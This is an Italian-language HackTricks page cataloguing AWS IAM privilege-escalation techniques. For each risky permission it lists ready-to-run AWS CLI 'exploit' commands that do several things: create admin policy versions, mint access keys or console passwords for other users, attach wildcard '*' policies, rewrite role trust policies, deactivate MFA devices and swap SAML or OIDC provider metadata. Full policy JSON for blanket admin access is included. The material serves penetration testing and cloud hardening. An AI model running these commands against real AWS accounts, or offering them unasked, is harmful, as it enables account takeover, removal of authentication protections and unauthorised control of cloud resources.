AWS - IAM Privesc

Supporta HackTricks

IAM

Per maggiori informazioni su IAM controlla:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Concede la capacità di creare una nuova versione della policy IAM, bypassando la necessità del permesso iam:SetDefaultPolicyVersion utilizzando il flag --set-as-default. Questo consente di definire permessi personalizzati.

Comando di Exploit:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impatto: Eleva direttamente i privilegi consentendo qualsiasi azione su qualsiasi risorsa.

iam:SetDefaultPolicyVersion

Consente di cambiare la versione predefinita di una policy IAM a un'altra versione esistente, potenzialmente elevando i privilegi se la nuova versione ha più permessi.

Comando Bash:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impatto: Escalation indiretta dei privilegi abilitando più permessi.

iam:CreateAccessKey

Consente di creare un ID chiave di accesso e una chiave di accesso segreta per un altro utente, portando a una potenziale escalation dei privilegi.

Sfruttamento:

aws iam create-access-key --user-name <target_user>

Impatto: Escalation diretta dei privilegi assumendo i permessi estesi di un altro utente.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Permette di creare o aggiornare un profilo di login, inclusa l'impostazione delle password per il login alla console AWS, portando a un'escalation diretta dei privilegi.

Exploit per la Creazione:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit for Update:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impatto: Escalation diretta dei privilegi accedendo come "qualsiasi" utente.

iam:UpdateAccessKey

Permette di abilitare una chiave di accesso disabilitata, potenzialmente portando ad accessi non autorizzati se l'attaccante possiede la chiave disabilitata.

Sfruttamento:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impatto: Escalation diretta dei privilegi riattivando le chiavi di accesso.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Consente di generare o reimpostare credenziali per servizi AWS specifici (ad esempio, CodeCommit, Amazon Keyspaces), ereditando i permessi dell'utente associato.

Sfruttamento per la Creazione:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Exploit per Reset:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impatto: Escalation diretta dei privilegi all'interno delle autorizzazioni del servizio dell'utente.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Permette di allegare politiche a utenti o gruppi, aumentando direttamente i privilegi ereditando le autorizzazioni della politica allegata.

Exploit per Utente:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit for Group:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impatto: Escalation diretta dei privilegi a tutto ciò che la policy concede.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Permette di allegare o inserire policy a ruoli, utenti o gruppi, consentendo l'escalation diretta dei privilegi concedendo permessi aggiuntivi.

Exploit per Role:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit for Inline Policies:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Puoi usare una policy come:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Impatto: Escalation diretta dei privilegi aggiungendo permessi tramite policy.

iam:AddUserToGroup

Consente di aggiungere se stessi a un gruppo IAM, aumentando i privilegi ereditando i permessi del gruppo.

Sfruttamento:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impatto: Escalation diretta dei privilegi al livello dei permessi del gruppo.

iam:UpdateAssumeRolePolicy

Permette di modificare il documento della policy di assunzione del ruolo, consentendo l'assunzione del ruolo e i relativi permessi.

Sfruttamento:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Dove la policy appare come la seguente, che dà all'utente il permesso di assumere il ruolo:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impatto: Escalation di privilegi diretta assumendo i permessi di qualsiasi ruolo.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Permette di caricare una chiave pubblica SSH per autenticarsi a CodeCommit e disattivare i dispositivi MFA, portando a una potenziale escalation di privilegi indiretta.

Exploit per Caricamento Chiave SSH:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit per la disattivazione di MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impatto: Escalation indiretta dei privilegi abilitando l'accesso a CodeCommit o disabilitando la protezione MFA.

iam:ResyncMFADevice

Consente la risincronizzazione di un dispositivo MFA, potenzialmente portando a un'escalation indiretta dei privilegi manipolando la protezione MFA.

Comando Bash:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impatto: Escalation indiretta dei privilegi aggiungendo o manipolando dispositivi MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Con questi permessi puoi cambiare i metadati XML della connessione SAML. Poi, potresti abusare della federazione SAML per accedere con qualsiasi ruolo che la sta fidando.

Nota che facendo questo gli utenti legittimi non saranno in grado di accedere. Tuttavia, potresti ottenere l'XML, quindi puoi mettere il tuo, accedere e configurare il precedente indietro.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: Uno strumento capace di generare i metadati SAML e accedere con un ruolo specificato

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Non sicuro di questo) Se un attaccante ha questi permessi potrebbe aggiungere un nuovo Thumbprint per riuscire ad accedere a tutti i ruoli che si fidano del provider.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Riferimenti

Supporta HackTricks

Last updated